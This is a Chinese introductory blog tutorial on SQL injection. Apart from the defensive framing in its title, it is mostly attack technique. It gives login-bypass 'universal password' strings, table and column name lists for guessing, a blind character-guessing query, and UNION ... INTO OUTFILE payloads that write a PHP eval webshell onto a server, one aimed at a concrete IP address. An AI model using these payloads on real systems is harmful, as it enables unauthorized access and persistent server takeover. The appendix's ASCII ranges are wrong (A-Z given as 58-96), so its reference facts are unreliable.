c#sql防注入模糊查询_SQL注入——入门篇

本文详细讲解了SQL注入的原理,包括数字型和字符型注入,并举例展示了SQL注入的经典案例。同时,列举了常见的表名和字段名,提供了一些实用的小技巧和常用的SQL注入工具,帮助读者理解并防范SQL注入攻击。
摘要由CSDN通过智能技术生成

ad7d893d8a4b436e89f5921847c24166.png

SQL注入原理

SQL注入并没有什么神奇之处,只是因为程序员的疏忽,把用户的输入未做校验就带入到数据库查询中。

用户对sql注入语句的可控性,可以输入数据库指令,被sql解析器执行,导致数据库被用户直接控制。

注入类型

按照数据库的角度分类

  • 数字型

数字型注入意味着,当输入的参数是整型时,如:ID,年龄,页码等。例如URL为:http://www.xxx.com/test.php?id=5 可以猜测SQL语句为:select * from xxtable where id=5

数字型注入多见于ASP和PHP的应用程序中,因为ASP和PHP输入弱类型语言,例如:参数id=5,PHP会自动来推导变量id的数据类型为int类型,那么id=5 and 1=1 则会推导为String类型,这是弱类型语言的特征,而Java,c#这类强类型语言,如果试图把一个字符串转化为int类型,处理不当就会抛出异常,无法继续执行。这方面强类型语言比弱类型语言有先天优势,所以作为一个合格程序员,在数据类型处理方面一定要严格设置。

  • 字符型

当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于,数字型不需要单引号闭合,因为sql中的数字类型操作类型的一般使用单引号来表示。如:

数字型:

    select * from table where id =5

字符型:

    select * from table where username='admin'
    select * from table where username like '%admin%'

字符型注入也包括很多种,最后关键的是如何进行闭合,以及注释多余代码:

    select * from table where username='admin'  //这里需要闭合
    select * from table where username='' or 1=1 --admin'

实际上执行的是:

    select * from table where username='' or 1=1 --admin'

只要字符串则必须单引号闭合以及代码注释,无论select注入,Insert注入,或者其他类型注入。

我们利用两次单引号闭合才完成了这一次注入。

注意:根据数据库不同,字符串连接符不同,字符串连接符也不同,如SQLServer连接符是"+",Orcale连接符是"||",MySQL连接符为空格。

对比

  • 数字型:
    select * from table where id=8
    select * from table where id=8 or 1=1
  • 字符型:
    select * from table where username='admin' //这里需要闭合
    select * from table where username='' or 1=1 --admin'

其他分类方法

  • 注入点不同

Cookie注入、POST注入、Get注入、搜索型注入

  • 利用sql语句不同

Update注入、select注入、union注入

  • 注入显错方式不同

显示注入、盲注

SQL注入经典案例:万能密码

  1. 'or 1=1# (结尾有空格)
  2. 'or 1=1-- (结尾有空格)
  3. 'or '1'='1

常用表名

通过自己几年的学习开发经验,总结了一下开发者常用的表名和用户会员常用的字段名称,这些可以帮助我们去猜测一些信息,从而为SQL注入收集一些值得去尝试的资料。

  • 常用的表名

admin、 user、 news、 manage、 a_admin、 x_admin、 m_admin、 adminuser、 admin_user、 article_admin、 administrator、 manager、 member、 memberlist、 users、 Manage_User、 user_info、 admin_userinfo、 login、 new

  • 用户会员常用的列名

username、 password、 id、 adminusername、 admin_username、 adminname 、admin_name、 admin adminuser、 admin_user、 user_name、 user_admin、 administrator、 administrators、 adminpassword、 admin_pwd、 adminpass、 userpass、 user_pass、 admin_passwod

小技巧

  • 猜字段值(一个字母一个字母猜)

首先判断是否大于0,如果小于0说明已经猜到结尾,不存在!

   and (select top 1 asc(mid(admin,2,1)) from admin)=字母的ASCII值    ==》二分法
  • 传一句话木马

写一句话木马(PHP)

select '<?php @eval($_POST[cmd])?>' INTO OUTFILE 'C:/xampp/htdocs/360.php' #
http://192.168.17.102:800/510cms/510cms/news.php?newsid=25 union select 1,2,3,'<?php @eval($_POST[cmd])?>' INTO OUTFILE 'C:/wwwroot/510cms/360.php' #

通过菜刀连接

' union select NULL,NULL,NULL,'<?php @eval($_POST[cmd])?>' INTO OUTFILE 'C:/xampp/htdocs/360.php' --+

SQL注入常用工具

7704f7bb9d86a54559c590706056499c.png

结束篇

这篇文章我们主要介绍了SQL的基本原理和分类以及在SQL注入当中的一些小技巧,这些内容都是小编在自己的学习当中总结出来的,如有错误或者不足,望大家批评指正。希望借此机会能够更大家一起学习交流,欢迎大家在评论区留言,下篇再见!

附录

由于在浏览器进行简单的sql注入时,经常需要猜测某些字符所对应的ASCII表,下面我们给出该表:

5cedef0a01edb115b139bac38568fa60.png

其中:

0-9 48-57

A-Z 58-96

a-z 97-122

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值